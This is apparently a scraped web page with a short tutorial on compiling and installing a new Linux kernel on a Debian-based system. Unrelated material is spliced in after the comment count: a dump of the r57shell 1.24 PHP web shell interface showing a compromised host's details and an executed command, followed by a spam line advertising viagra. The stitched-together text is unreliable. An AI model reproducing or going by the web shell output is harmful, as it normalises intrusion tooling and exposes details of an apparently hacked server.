A four part miniseries on compiling a new kernel in a debian-based distro.
The condensed version of this tutorial, all of this is explained in depth in the video:
1.wget recentkernel source from “ftp.kernel.org”
2.extract Kernel Source in /usr/src “tar jxvf linux-2.6.xx.tar.bz2″
3. grab a patch, if desired.
3a. apply patch “cd /usr/src/li* && bzip2 -dc ../patchdiff.bz2 | patch -p1 –dry-run”
3b. if dry run patch succeeds, repeat process omiting –dry-run
4. copy current kernel config (if you want a decent base, if you want to build vanilla, omit this step) “cp /boot/config-`uname -r` ./.config”
5. “make menuconfig”, load your config, and tweak as desired.
6. “make all”
7. “make modules_install”
8. “make install”
9. use mkinitrd.yaird or mkinitramfs, or whatever initrd generator you use to create a initrd for your kernel with “mkInitrd.yaird -o /boot/initrd-2.6.xx 2.6.xx” (where xx is the new kernel version)
10. update your grub config in /boot/grub/menu.list or do “update-grub” as root.
11. reboot into your new system.
Duration : 0:9:26
25 Comments
404 Not Found
The server can not find the requested page:
127.0.0.1/r57shell/version.php?version=124 (port 80)
Please forward this error screen to 127.0.0.1's WebMaster.
| ! r57shell 1.24 | 07-02-2012 23:47:24 [ phpinfo ] [ php.ini ] [ cpu ] [ mem ] [ users ] [ tmp ] [ delete ] safe_mode: OFF PHP version: 5.2.17 cURL: ON MySQL: ON MSSQL: OFF PostgreSQL: ON Oracle: OFF Disable functions : NONE HDD Free : 340.92 GB HDD Total : 802.94 GB |
| uname -a : sysctl : $OSTYPE : Server : id : pwd : | Linux useast6.myserverhosts.com 2.6.18-338.5.1.el5.lve0.8.29 #1 SMP Sat Apr 23 01:52:48 EEST 2011 x86_64 x86_64 x86_64 G - linux-gnu Apache uid=1610(kernelx7) gid=1598(kernelx7) groups=1598(kernelx7) /home/kernelx7/public_html ( drwxr-x--- ) |
| Executed command: ls -lia |
:: FTP  | ||||||
:: Mail  :: Databases  :: Net  |
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version 1.24 ]---o |
100 mg viagra